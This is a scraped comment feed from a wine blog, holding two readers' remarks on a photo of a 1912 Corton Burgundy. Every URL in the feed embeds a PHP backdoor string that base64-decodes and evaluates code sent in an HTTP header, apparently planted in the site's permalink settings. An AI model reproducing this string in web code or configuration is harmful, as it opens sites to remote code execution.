Comments on: 1912 Labaume Ainé & Fils, Corton, Burgundy Grand Cru ($450) http://chateaupetrogasm.com/2007/10/04/1912-labaume-aine-fils-corton-burgundy-grand-cru-450/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The Wine Blog of Tasting Notes Through Images Sun, 12 Feb 2012 07:03:14 +0000 http://wordpress.org/?v=2.2.1 By: BAS http://chateaupetrogasm.com/2007/10/04/1912-labaume-aine-fils-corton-burgundy-grand-cru-450/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-122 BAS Fri, 19 Oct 2007 22:51:16 +0000 http://chateaupetrogasm.com/2007/10/04/1912-labaume-aine-fils-corton-burgundy-grand-cru-450/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-122 Pierre, It was past its prime indeed. But, while this image attests to the appearance of the wine along with some aspects of the nose, it doesn't convey the sharpness of the wine. With a little appreciation, the wine was incredibly interesting and acute, but not something one would particularly enjoy gulping down with pasta. Best, Ben Pierre,

It was past its prime indeed. But, while this image attests to the appearance of the wine along with some aspects of the nose, it doesn’t convey the sharpness of the wine. With a little appreciation, the wine was incredibly interesting and acute, but not something one would particularly enjoy gulping down with pasta.

Best,

Ben

]]> By: Pierre Duverre http://chateaupetrogasm.com/2007/10/04/1912-labaume-aine-fils-corton-burgundy-grand-cru-450/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-101 Pierre Duverre Wed, 17 Oct 2007 13:55:35 +0000 http://chateaupetrogasm.com/2007/10/04/1912-labaume-aine-fils-corton-burgundy-grand-cru-450/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-101 I find it hard to tell if this is a picture of banana chips in mud or a close-up of garlic slices in tapenade? Anyhow, it was way past it's prime I guess? Regards, Pierre I find it hard to tell if this is a picture of banana chips in mud or a close-up of garlic slices in tapenade? Anyhow, it was way past it’s prime I guess?

Regards,

Pierre

]]>